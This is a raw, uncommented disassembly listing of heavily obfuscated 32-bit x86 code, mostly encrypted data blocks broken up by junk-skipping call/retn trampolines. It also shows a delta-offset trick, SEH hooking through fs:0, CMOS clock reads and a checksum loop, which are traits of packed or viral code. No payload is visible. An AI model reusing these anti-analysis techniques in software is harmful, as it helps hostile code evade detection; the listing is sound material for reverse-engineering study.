		dd 17h,	0D3C35545h, 89E8ACA4h, 0D121D195h, 3840F05h, 0F000000h
		dd 0BD8BDEB7h, 5D12275h, 8313B5FFh, 0D5BF05D4h,	66555A61h
		dd 0FF75CDBBh, 0D11D3995h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 73DC5A87h
		dd 0D88B66D2h, 70DBD83h, 0F0205D1h, 3F84h, 7DBD8B00h, 8B05D116h
		dd 0D117A585h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0D94AD576h, 0DB816628h
		dd 0EDBF13F8h, 0C6286C13h, 0BD8B0000h, 5D127F1h, 1F5585C7h
		dd 5D1h, 8D890000h, 5D13195h, 0FFF3CCE9h, 0E59D8BFFh, 8B05D126h
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 4A85DFFFh, 0B70FD6E9h, 8D858DDBh, 6A05D106h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 24E1C356h, 0F53EAD5Bh, 90DF8166h,	525090A1h
		dd 0FE9h, 8E6E2600h, 708E9F51h,	34743D1Dh, 0B0AA398Ah
		dd 6660310Fh, 66FC59BEh, 615AA0BFh, 0F50585Ah, 484h, 3CBB6600h
		dd 6A9092h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 78195C3h,	830F006Ah, 0
; ---------------------------------------------------------------------------
		sub	[ebp+5D11559h],	ecx
		push	0
		push	ecx
		jmp	loc_5B4BF0
; ---------------------------------------------------------------------------
		dw 0A413h
		dd 10C7D3ECh, 0D2A96979h, 3034CAE0h
; ---------------------------------------------------------------------------


loc_5B4BF0:				; CODE XREF: ud2_____:005B4BDDj
		pop	ebx
		lea	eax, [ebp+5D5AF47h]
		mov	[ebp+5D1132Dh],	edx
		add	eax, 5
		push	0
		push	ebx
		call	sub_5B4C0B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C0B	proc near		; CODE XREF: ud2_____:005B4C03p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B4C0B	endp

; ---------------------------------------------------------------------------
		lahf
		and	byte ptr [esi-41h], 61h
		jns	short loc_5B4C72
		mov	di, dx
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5B4C33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C33	proc near		; CODE XREF: ud2_____:005B4C2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B4C33	endp

; ---------------------------------------------------------------------------
		pop	esp
		retf
; ---------------------------------------------------------------------------
		adc	[ebp-57499A5h],	bh
		push	0
		push	0
		push	ebp
		call	sub_5B4C58
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C58	proc near		; CODE XREF: ud2_____:005B4C50p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B4C58	endp

; ---------------------------------------------------------------------------
		dd 9D8955C0h, 5D106FDh
; ---------------------------------------------------------------------------
		push	0


loc_5B4C72:				; CODE XREF: ud2_____:005B4C20j
		push	0
		push	ebx
		call	sub_5B4C7D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C7D	proc near		; CODE XREF: ud2_____:005B4C75p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B4C7D	endp

; ---------------------------------------------------------------------------
		or	eax, 3C49CECEh
		or	al, [edx]
		adc	al, 60h
		adc	di, 3857h
		or	di, 288Ch
		popa
		sub	[ebp+5D10C31h],	esi
		call	dword ptr [ebp+5D11B39h]
		jmp	loc_5B4CC3
; ---------------------------------------------------------------------------
		dw 3A72h
		dd 47E82A96h, 0F6649EE1h, 0CDE1F487h
; ---------------------------------------------------------------------------
		test	al, 28h
		stosd


loc_5B4CC3:				; CODE XREF: ud2_____:005B4CADj
		lea	ecx, [ebp+5D481CFh]
		push	0
		push	ebx
		call	sub_5B4CD4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4CD4	proc near		; CODE XREF: ud2_____:005B4CCCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B4CD4	endp

; ---------------------------------------------------------------------------
		mov	esp, 1ED9CB5h
		sbb	eax, 9D8BB284h
		fstp	dword ptr [esi]
		rol	dword ptr ds:0FFDF8B66h, 1
		shl	dword ptr [esi-41h], 1
		rcl	byte ptr [edx],	1
		cmp	dword ptr [ebp+5D120E9h], 1
		jnz	loc_5B4D6F
		mov	[ebp+5D106D5h],	ebx
		push	2
		push	0
		push	eax
		call	sub_5B4D1B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4D1B	proc near		; CODE XREF: ud2_____:005B4D13p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5B4D1B	endp

; ---------------------------------------------------------------------------
		db 0CEh
; ---------------------------------------------------------------------------
		or	al, 94h
		leave
		wait
		mov	ecx, 5E8h
		add	cl, cl
		pop	ds
		mov	ecx, 53B3E8E6h
		pop	edi
		push	eax
		mov	di, bx
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5B4D50
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4D50	proc near		; CODE XREF: ud2_____:005B4D48p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B4D50	endp

; ---------------------------------------------------------------------------
		dd 0FF68A6DEh, 0D131F595h, 75858905h
		db 20h,	0D1h, 5
; ---------------------------------------------------------------------------


loc_5B4D6F:				; CODE XREF: ud2_____:005B4D02j
		jmp	loc_5B5B1C
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 5D5AF51h
		mov	di, cx
		and	di, 0E1B9h
		lea	eax, [ebp+5D472B1h]
		push	0
		push	edx
		call	sub_5B4D99
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4D99	proc near		; CODE XREF: ud2_____:005B4D91p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B4D99	endp

; ---------------------------------------------------------------------------
		db 0E5h, 0BDh, 1Eh
; ---------------------------------------------------------------------------
		pop	edx
		mov	ebp, 0F9CB80ADh
		push	eax
		mov	bl, cl
		mov	[esp], eax
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5B4DCA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4DCA	proc near		; CODE XREF: ud2_____:005B4DC2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B4DCA	endp

; ---------------------------------------------------------------------------
		pop	ebp
		fcomp	qword ptr [edx+ecx*2+3E442A1Ah]
		dec	esi
		mov	large fs:0, esp
		jmp	loc_5B4DFD
; ---------------------------------------------------------------------------
		db 47h
		dd 7F8E34D8h, 47A4FCF1h, 73DED1FDh
		db 34h
; ---------------------------------------------------------------------------


loc_5B4DFD:				; CODE XREF: ud2_____:005B4DEAj
		sub	[ebp+5D100BDh],	ebx
		inc	dword ptr [ebp+5D12719h]
		jb	loc_5B4E15
		mov	[ebp+5D10FF9h],	ebx


loc_5B4E15:				; CODE XREF: ud2_____:005B4E09j
					; ud2_____:005B5B14j
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5B4E22
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E22	proc near		; CODE XREF: ud2_____:005B4E1Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B4E22	endp

; ---------------------------------------------------------------------------
		dec	eax
		mov	ebx, [ebp+5D108A9h]
		push	dword ptr [ebp+5D132C5h]
		push	0
		push	ebx
		call	sub_5B4E4A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E4A	proc near		; CODE XREF: ud2_____:005B4E42p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B4E4A	endp

; ---------------------------------------------------------------------------
		sub	byte ptr [edi-37h], 0DCh
		dec	eax
		cld
		mov	edi, 6D318DCh
		call	dword ptr [ebp+5D11279h]
		jmp	loc_5B4FBC	; CODE XREF: ud2_____:005B4EA3j
; ---------------------------------------------------------------------------
		jmp	loc_5B4E7C
; ---------------------------------------------------------------------------
		stosd
		sar	byte ptr [edx-33h], cl
		xor	esi, esp
		lodsd


loc_5B4E7C:				; CODE XREF: ud2_____:005B4E70j
		add	di, 0DC26h
		mov	al, 0
		cld
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		add	edi, [ebp+5D109C5h]
		in	al, 71h		; CMOS Memory
		mov	edi, [ebp+5D1106Dh]
		cmp	al, 61h
		jnb	loc_5B4FBC
		push	edx
		call	near ptr loc_5B4EB2+4
		dec	ebx
		jz	short near ptr loc_5B4E6B+4
		adc	dl, ah
		mov	ebx, 58AF41D4h
		fstp	qword ptr [edi+1110EFBAh]


loc_5B4EB2:				; CODE XREF: ud2_____:005B4E9Dp
		add	ds:6160A813h, ch
		pop	edi
		pop	edi
		movzx	ecx, al
		mov	edi, [ebp+5D12B21h]
		mov	edx, 6
		sub	edi, [ebp+5D10EE1h]
		mov	eax, ecx
		mov	bx, 0EAFAh
		shr	eax, 4
		mov	edi, [ebp+5D12335h]
		jmp	loc_5B4EED
; ---------------------------------------------------------------------------
		dw 651Ch
		dd 1688801Dh, 87E0C55Ah
		db 8Eh
; ---------------------------------------------------------------------------


loc_5B4EED:				; CODE XREF: ud2_____:005B4EDDj
		mul	dx
		mov	ebx, [ebp+5D13125h]
		mov	di, dx
		sub	ecx, eax
		mov	ebx, [ebp+5D10045h]
		mov	edx, ecx
		mov	[ebp+5D12059h],	ebx
		jmp	loc_5B4FBC
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 6, 2335BD8Bh, 858B05D1h, 4, 7C083FCh, 18B59D8Bh, 0C08305D1h
		dd 11E900h, 3A200000h, 223CA15Ch, 9B88EB79h, 0D992E96Eh
		dd 3BEBB860h, 1C830FD0h, 0E9000000h, 0Ch, 762138B8h, 38B87774h
		dd 77747621h, 5BE9h, 399D8B00h,	8B05D118h, 0FFFFFF8Dh
		dd 0E183FCFFh, 45840F01h, 8B000000h, 0D1016DBDh, 0FFA58305h
		dd 0FEFFFFFFh, 17ADBD09h, 958905D1h, 4,	0EE8h, 4CB9E500h
		dd 0AAB2A790h, 2C33E5FBh, 0E8D6B5BEh, 0Dh, 5224122Bh, 95528ABFh
		dd 0B92ED325h, 0E95F5B07h, 0
; ---------------------------------------------------------------------------


loc_5B4FBC:				; CODE XREF: ud2_____:loc_5B4E6Bj
					; ud2_____:005B4E96j ...
		lea	esi, [ebp+5D52B7Ch]
		push	0
		push	esi
		call	sub_5B4FCD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4FCD	proc near		; CODE XREF: ud2_____:005B4FC5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5B4FCD	endp

; ---------------------------------------------------------------------------
		pushf
		inc	esi
		imul	ecx, 20h
		popa
		ja	short near ptr loc_5B5003+1
		inc	edi
		mov	[ebp+5D111A5h],	ecx
		push	0
		movsx	ebx, si
		call	dword ptr [ebp+5D12459h]
		js	loc_5B5006
		jb	loc_5B5006


loc_5B5003:				; CODE XREF: ud2_____:005B4FE3j
		mov	di, bx


loc_5B5006:				; CODE XREF: ud2_____:005B4FF7j
					; ud2_____:005B4FFDj
		mov	ecx, 0E9Eh
		mov	[ebp+5D1216Dh],	ebx
		and	ecx, 0FFFFFFFCh
		mov	bl, 56h
		cld
		mov	[ebp+5D11FD9h],	ebx
		sub	eax, eax
		mov	edi, [ebp+5D130A1h]
		sub	edx, edx
		mov	[ebp+5D10295h],	esi


loc_5B502D:				; CODE XREF: ud2_____:005B5037j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B502D
		xor	edi, 42EBFAB2h
		push	0
		push	ebx
		call	sub_5B504A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B504A	proc near		; CODE XREF: ud2_____:005B5042p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx


loc_5B5058:				; CODE XREF: ud2_____:005B505Dj
		push	ebx
		retn
sub_5B504A	endp

; ---------------------------------------------------------------------------
		mov	bl, 0F5h
		xchg	eax, ecx
		jge	short loc_5B5058
		xor	edi, [ebp+5D11D1Dh]
		pusha
		mov	[ebp+5D108F9h],	ecx
		jmp	loc_5B5083
; ---------------------------------------------------------------------------
		db 96h,	3Bh, 4Bh
		dd 0A01B9070h, 0B3EB1A15h, 0CEF88C28h
		db 53h,	0F8h, 0FFh
; ---------------------------------------------------------------------------


loc_5B5083:				; CODE XREF: ud2_____:005B506Cj
		popa
		xor	di, 86F9h
		or	eax, 88h
		push	0
		push	eax
		call	sub_5B5099
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5099	proc near		; CODE XREF: ud2_____:005B5091p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B5099	endp

; ---------------------------------------------------------------------------
		db 0F3h, 0D5h, 25h
		dd 0F6726013h, 0FCDCB955h, 2CD9589h, 958B05D1h,	5D11021h
		dd 25F1B501h, 8D8B05D1h, 5D11C09h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0F1C35141h,	504E59FAh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0BFCC6673h
		dd 95BFB17h, 49BD83h, 0F0005D1h, 8684h,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 5927D4A1h, 8955B3F1h, 0D11FB9BDh, 0B805h, 8A0F0000h
		dd 7, 0DF816653h, 8D5B4ECCh, 0D14CBD8Dh, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0E0E2FF92h, 0E1FF1C3Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F2C35545h, 0DB74BA82h, 832F7B02h, 0D10679BDh
		dd 840F0005h, 457h, 0F25B589h, 0BD8305D1h, 5D10679h, 5F840F01h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8380C355h, 0D10679BDh,	860F0305h
		dd 400h, 21559589h, 6A6005D1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0B6BCC352h,	0B7B36B80h
		dd 0FABF0FEEh, 66D98C66h, 0FF1BEB81h, 8B04E180h, 0D11F21BDh
		dd 0DA8B6605h, 840FC90Ah, 14Dh,	858BDE8Bh, 5D11731h, 186D9D01h
		dd 853305D1h, 5D10E71h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D2C35343h, 0BF529E05h, 437A0301h, 6995895Bh
		dd 9005D113h, 8E8h, 7A226F00h, 47620DBDh, 52505B5Bh, 4820Fh
		dd 0BF660000h, 905BCE6Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 9BC35040h, 937FA6Fh, 599D8B42h, 6A05D102h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BD8B5294h, 5D11781h, 0DFBF0F5Bh, 6507FD68h
		dd 13E93Ch, 94D90000h, 6B7176E4h, 0CD4626B2h, 1B464C47h
		dd 0C9940CCEh, 2434819Bh, 3C7A0402h, 0BC98589h,	95FF05D1h
		dd 5D1111Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	5CC35545h, 6904A4ABh, 10159589h, 895305D1h, 0D132718Dh
		dd 85895F05h, 5D48313h,	16DB8166h, 235E937h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0E5CA33C3h, 0E90922ECh, 0Dh,	45A253B8h, 227C8836h, 0BF225239h
		dd 0B858B5Ah, 0C705D483h, 1800h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 514CA8C1h
		dd 0E843F36Dh, 5, 0D3D39824h, 12E9FCh, 8AD80000h, 193BACE5h
		dd 0CB2B9FD4h, 0ECA5251h, 0AA1DB747h, 0FB58B5Fh, 6A05D483h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9C76C350h, 0A394FEE4h, 0AC0BDE99h, 7E8h
		dd 68997500h, 0D0BDEFDDh, 10258D31h, 8B5B05D1h,	0D121399Dh
		dd 0A9858B05h, 6A05D122h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C66FC352h,	725348BBh
		dd 659D1137h, 9E9h, 4E8DE600h, 7CAFE59Fh, 689229Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3AC35343h, 39C93282h
		dd 9D0B40AFh, 5D132A9h,	2FF5BD8Bh, 858B05D1h, 5D11731h
		dd 2D49BD03h, 468905D1h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0AAE7E91Dh, 1F6016DEh
		dd 965096F6h, 0E8AFAFBBh, 0BB5FF33h, 0F05D483h,	68Ch, 95BD8B00h
		dd 0F905D124h, 4E8h, 1F03FF00h,	11E95000h, 42000000h, 98B5205Dh
		dd 78578F9Ah, 0DFD10C81h, 0A5594367h, 424448Bh,	8BDD8Ah
		dd 0BB665250h, 310F8FC9h, 0F525053h, 5F585A31h,	4489585Ah
		dd 6A580424h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 94E9C356h, 19D8BB4h, 8D05D120h
		dd 0D4831385h, 0FE805h,	71840000h, 0FBC93409h, 930BC392h
		dd 62BA485Ch, 0B58960FEh, 5D12101h, 61D0B70Fh, 0CBE3BB5Bh
		dd 0E89019A9h, 6, 99ECAA2Dh, 0BB66F051h, 505F8C22h, 0F65496BFh
		dd 0BD89901Ah, 5D13005h, 111D95FFh, 5EBF05D1h, 6147EEA6h
		dd 0C5BD09h, 85C705D1h,	5D10679h, 3, 1D61BD89h,	0BD8305D1h
		dd 5D48313h, 45840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F060C355h
		dd 0E99ED780h, 3Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 57C35242h, 0B2D2BF66h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 29C08B00h, 0D11DC58Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 1B7861BBh, 3913BF66h, 679BD83h, 0F0305D1h
		dd 48F85h, 0EF816600h, 0BD833EABh, 5D48313h, 7D840F00h
		dd 0E9000004h, 14h, 801E03C5h, 9217B1C3h, 70C0A4A7h, 837D637Fh
		dd 481247h, 8313B5FFh, 6A05D4h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 65BF33C3h, 2E83FDEh
		dd 1AD19D89h, 0BF6605D1h, 95FFEEC4h, 5D102FDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D4C35040h, 0DC1F0601h
		dd 8E76AB46h, 0BDBD8BA9h, 8B05D12Dh, 0D48307B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 77EB7E83h, 8BBAE7F9h, 0D118C19Dh, 106C705h, 0F000100h
		dd 0C8Dh, 6840F00h, 89000000h, 0D111618Dh, 0E3816605h
		dd 66502F51h, 89DEFEBBh, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 334DE5C3h, 0E9B69274h
		dd 10h,	0FFB35070h, 0C146E21Dh,	0AF80DA7Ah, 6B4F8DA1h
		dd 8313B5FFh, 6A05D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0EFB348C3h, 68195FFh, 9D8B05D1h
		dd 5D11519h, 8307B58Bh,	6A05D4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0B4B7E8C3h, 0D0003E3Eh
		dd 89F8B352h, 0D130EDB5h, 91858B05h, 6A05D117h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3FB2C356h, 0F28A5F9Ch, 0DD8D8997h, 8905D123h, 0C486h
		dd 6E900h, 0B7CB0000h, 160879C1h, 1021958Bh, 6A05D1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0EB988CC3h, 0F04C283h, 14E9FEB7h, 10000000h,	0E6F87481h
		dd 0FB7C8FB9h, 0E622A387h, 0E2B8F103h, 89CFC593h, 6A2050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 858D0BC3h, 5D49631h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 6EC35242h, 0E93A468Dh
		dd 11h,	0F9D37EBBh, 35AE768Bh, 3C648C74h, 0A1057717h, 0B886890Bh
		dd 66000000h, 6A0F73BBh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 5D5DA15Fh, 0AFE7D4E1h
		dd 9589B56Eh, 5D11145h,	8313B5FFh, 6A05D4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E22958C3h
		dd 0FF73D21Ah, 0D131F595h, 0D98B6605h, 73BBBF50h, 348908F6h
		dd 25BF6624h, 13B5FF67h, 6A05D483h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0CD80C357h
		dd 1065C51h, 0D1273595h, 0D595FF05h, 6A05D102h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 73CAC355h, 57A2A5E0h, 1F7DBD83h, 0F0005D1h, 2784h, 0D19D8B00h
		dd 5005D10Eh, 348930B3h, 319D8B24h, 0E905D127h,	10h, 5A9CCC93h
		dd 962ADCE3h, 1611AE1Ah, 1F990281h, 8313B5FFh, 6A05D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F245A6C3h, 12E998h,	0E3DF0000h, 8145BF53h, 542B0A57h
		dd 16B5FE67h, 0E0FCCD0Dh, 1FCD8509h, 95FF05D1h,	5D11359h
		dd 9E8h, 3A88D400h, 0DF5D5B74h,	8166D093h, 5B833EE3h, 8313B5FFh
		dd 6A05D4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0B04454C3h, 3DAE4EDAh, 0FD8BF0Fh,	48Fh, 61605000h
		dd 3995FF5Bh, 2905D11Dh, 0D110259Dh, 0DBD8305h,	205D107h
		dd 60840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 7909ECC3h, 0CD74D480h, 10519D2Bh
		dd 858B05D1h, 5D117A5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 88C35747h, 0F5C43DADh, 81DA48FCh, 284D61CFh
		dd 0C610h, 31E99D8Bh, 85C705D1h, 5D11F55h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5B5AF3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5AF3	proc near		; CODE XREF: ud2_____:005B5AEBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5B5AF3	endp

; ---------------------------------------------------------------------------
		jnb	short near ptr loc_5B5B14+4
		setalc
		stc
		mov	al, 79h
		mov	ebx, 5B3AA488h
		xor	edi, [ebp+5D112A5h]


loc_5B5B14:				; CODE XREF: ud2_____:005B5B03j
		jmp	loc_5B4E15
; ---------------------------------------------------------------------------
		mov	eax, ecx
		clc


loc_5B5B1C:				; CODE XREF: ud2_____:loc_5B4D6Fj
		lea	eax, [ebp+5D1068Dh]
		push	0
		push	ebx
		call	sub_5B5B2D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5B2D	proc near		; CODE XREF: ud2_____:005B5B25p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B5B2D	endp

; ---------------------------------------------------------------------------
		db 0B7h, 0C9h, 0F4h
		dd 840F9073h, 2, 0F50DA8Bh, 289h, 90DF8B00h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CC35141h, 0C7C5DB0Dh
		dd 0FD09D8E2h, 6880FF3h, 89000000h, 0D11D359Dh,	8B006A05h
		dd 60006AFAh, 12619531h, 0FE905D1h, 7F000000h, 0ABE7A0BDh
		dd 75697D81h, 24650D3Eh, 8D6150DFh, 0D5BF1E85h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 48B7EDDFh, 0F805C083h, 89F88B50h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8B2923C3h
		dd 8589CFC6h, 5D10C61h,	8E8h, 643B2900h, 737C47BDh, 5FF85272h
		dd 51006A5Bh, 6A5F30B7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0FEB5D6D7h, 0FDC5E9FBh
		dd 0BD319657h, 5D1132Dh, 1D35B589h, 95FF05D1h, 5D11B39h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 83C35545h
		dd 89050C95h, 0D112B5BDh, 519D8905h, 8D05D110h,	0D481CF8Dh
		dd 0B18D8905h, 0FF05D111h, 51006AD1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 536B26C1h
		dd 12B99D8Bh, 335B05D1h, 0D106BDBDh, 0E9BD8305h, 105D120h
		dd 88850Fh, 9D890000h, 5D12DD1h, 6A026Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 825E8C3h
		dd 1255BD8Bh, 665005D1h, 89A391BBh, 9D092404h, 5D1222Dh
		dd 11E95660h, 50000000h, 6370144Fh, 0CA804F7Ch,	82B7F6D4h
		dd 0B19A328Dh, 0C381665Bh, 0FF61F8C9h, 0D131F595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F60AC75h, 61FCDAB7h, 25019D09h, 0B9E905D1h,	0E800000Dh
		dd 0
		dd 28ED815Dh, 8105D5BFh, 0BEABC7DBh, 959D8B2Eh,	8D05D10Eh
		dd 0D472B185h, 8950F805h, 8A0F2404h, 5,	29F38166h, 35FF6405h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B5D8B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5D8B	proc near		; CODE XREF: ud2_____:005B5D83p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B5D8B	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 34FBFB60h, 64FCEC83h, 2589h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 317289C3h
		dd 0D100719Dh, 1985FF05h, 8905D127h, 0D13175BDh, 6AFF6A05h
